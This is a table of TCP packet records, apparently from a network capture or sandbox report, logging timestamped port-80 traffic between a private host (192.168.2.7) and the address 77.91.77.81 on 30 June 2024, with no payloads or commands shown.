Jun 30, 2024 10:23:15.118931055 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.118963957 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.118978024 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.118990898 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.119004011 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.119004965 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.119015932 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.119029999 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.119055033 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.120435953 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.120490074 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.120505095 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.120507956 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.120536089 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.120676041 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.120690107 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.120703936 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.120711088 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.120721102 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.120748997 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.121077061 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.121089935 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.121103048 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.121114969 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.121135950 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.121148109 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.121555090 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.121568918 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.121581078 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.121593952 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.121603966 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.121608019 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.121623039 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.121629953 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.121637106 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.121644020 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.121651888 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.121665001 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.121684074 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.121700048 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.122586966 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.122601986 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.122616053 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.122629881 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.122642994 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.122659922 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.122661114 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.122661114 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.122673035 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.122680902 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.122685909 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.122699022 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.122711897 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.122730970 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.122756958 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.123336077 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.123349905 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.123361111 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.123373985 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.123384953 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.123392105 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.123404980 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.123406887 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.123415947 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.123419046 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.123442888 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.123457909 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.124049902 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.124062061 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.124074936 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.124093056 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.124093056 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.124108076 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.124116898 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.124121904 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.124136925 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.124144077 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.124150038 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.124165058 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.124176025 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.124191999 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.124986887 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.125000954 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.125011921 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.125022888 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.125035048 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.125039101 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.125049114 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.125057936 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.125061989 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.125072956 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.125077009 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.125096083 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.125103951 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.125108957 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.125133991 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.125147104 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.125756979 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.125803947 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.125848055 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.125861883 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.125873089 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.125885963 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.125886917 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.125900984 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.125907898 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.125915051 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.125926971 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.125932932 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.125941992 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.125948906 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.125952959 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.125973940 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.125998020 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.162146091 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.162213087 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.162224054 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.162234068 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.162292957 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.162342072 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.162487984 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.162532091 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.162633896 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.162645102 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.162653923 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.162664890 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.162676096 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.162678957 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.162709951 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.163117886 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.163130999 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.163142920 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.163156033 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.163172960 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.163191080 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.163208961 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.189101934 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.189145088 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.189157963 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.189244032 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.189286947 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.189294100 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.189306974 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.189317942 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.189332008 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.189335108 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.189366102 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.189804077 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.189816952 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.189827919 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.189841032 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.189852953 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.189857006 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.189870119 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.189877987 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.189886093 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.189889908 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.189899921 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.189918041 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.189941883 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.190711975 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.190726042 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.190737009 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.190748930 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.190758944 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.190764904 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.190769911 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.190783024 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.190790892 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.190794945 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.190804005 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.190808058 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.190819979 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.190845966 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.192121983 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.192137003 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.192147017 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.192181110 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.192205906 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.211864948 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.211884022 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.211894989 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.211911917 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.211921930 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.211930990 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.211944103 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.212177038 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.213886023 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.213931084 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.213942051 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.213953972 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.213980913 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.213987112 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.214102983 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.214113951 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.214123964 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.214148045 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.214174032 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.214340925 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.214351892 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.214361906 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.214371920 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.214382887 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.214413881 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.214755058 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.214766979 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.214782000 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.214792967 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.214797974 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.214802980 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.214809895 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.214817047 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.214823008 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.214834929 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.214834929 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.214864016 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.214886904 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.215439081 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.215451956 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.215461016 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.215471983 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.215482950 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.215490103 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.215495110 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.215507030 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.215513945 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.215517044 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.215528965 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.215534925 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.215558052 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.215564013 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.216154099 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.216166019 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.216175079 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.216187000 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.216197968 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.216204882 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.216207981 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.216222048 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.216233015 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.216233015 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.216245890 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.216245890 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.216274977 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.216299057 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.216888905 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.216900110 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.216909885 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.216922045 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.216932058 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.216938019 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.216942072 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.216953993 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.216964960 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.216968060 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.216975927 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.216986895 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.216986895 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.217000961 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.217001915 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.217025995 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.217050076 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.217737913 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.217747927 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.217756987 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.217767954 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.217777967 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.217788935 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.217788935 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.217799902 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.217809916 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.217813015 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.217827082 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.217833042 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.217838049 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.217850924 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.217853069 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.217875004 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.217897892 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.218555927 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.218566895 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.218575954 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.218607903 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.218628883 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.255055904 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.255083084 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.255090952 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.255132914 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.255145073 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.255227089 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.255279064 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.255317926 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.255362988 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.255446911 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.255458117 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.255490065 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.255630970 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.255640984 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.255650997 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.255661011 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.255670071 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.255695105 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.255695105 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.255718946 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.256025076 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.256036997 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.256078005 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.256180048 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.256225109 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.281943083 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.281985044 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.281995058 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.282005072 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.282035112 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.282192945 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.282205105 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.282215118 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.282226086 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.282243967 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.282270908 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.282685041 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.282696962 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.282706022 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.282716990 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.282726049 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.282737017 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.282738924 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.282748938 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.282761097 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.282773018 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.282794952 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.283444881 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.283459902 CEST	80	57433	77.91.77.81	192.168.2.7
